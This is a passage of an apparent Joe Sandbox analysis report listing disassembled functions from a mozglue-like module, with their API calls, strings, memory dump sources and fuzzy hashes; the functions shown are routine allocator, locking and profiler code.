Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6B18C7
Details, xrefs: 6C6B1925
name, xrefs: 6C6B1939

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
